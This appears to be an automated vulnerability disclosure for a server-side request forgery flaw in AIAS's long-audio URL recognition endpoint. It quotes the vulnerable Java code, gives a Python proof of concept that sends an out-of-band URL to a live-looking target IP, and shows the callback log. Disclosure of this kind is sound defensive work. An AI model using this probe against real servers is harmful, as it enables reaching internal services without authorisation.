SSRF - /api/asr/enAsrForLongAudioUrl

[NinjaGPT]

Summary

A SSRF vulnerability was discovered on /api/asr/enAsrForLongAudioUrl, in latest version of AIAS. The target URI parameter for network requests is user-controllable and lacks sufficient security processing, resulting in an SSRF vulnerability that allows attackers to exploit this flaw to probe and exploit internal services of the target system.

Details

• SINK & SOURCE

// src/main/java/top/aias/platform/controller/AsrController.java#L164-L246
164:    @ApiOperation("英文长语音识别-URL")
165:    @GetMapping(
166:       value = {"/enAsrForLongAudioUrl"},
167:       produces = {"application/json;charset=utf-8"}
168:    )
169:    public ResultBean enAsrForLongAudioUrl(@RequestParam("url") String url) {
170:       Path tempAudioFilePath = null;
171:       Path tempConvertedAudioFilePath = null;
172: 
173:       ResultBean var51;
174:       try {
175:          String fileExtension = FileUtils.getFileExtension(url);
176:          String tempFileName = UUID.randomUUID() + "." + fileExtension;
177:          tempAudioFilePath = Files.createTempFile("audio_", tempFileName);
178:          InputStream inputStream = (new URL(url)).openStream();
179:          Throwable var7 = null;
180: 

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Linux"', 'upgrade-insecure-requests': '1'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
target_url = 'http://136.117.97.50:40020/api/asr/enAsrForLongAudioUrl'
oob_url = 'http://$domain'
payload = {'url': oob_url}
response = requests.get(target_url, params=payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Response Text:', response.text)
# =================================== Poc End ====================================

• The executed result

Sandbox Execution Cancelled
============================== Dnslog ==============================
Request was made from IP: 172.17.70.218, 172.17.70.218, 172.17.64.16, 172.17.64.56, 172.17.79.252
====================================================================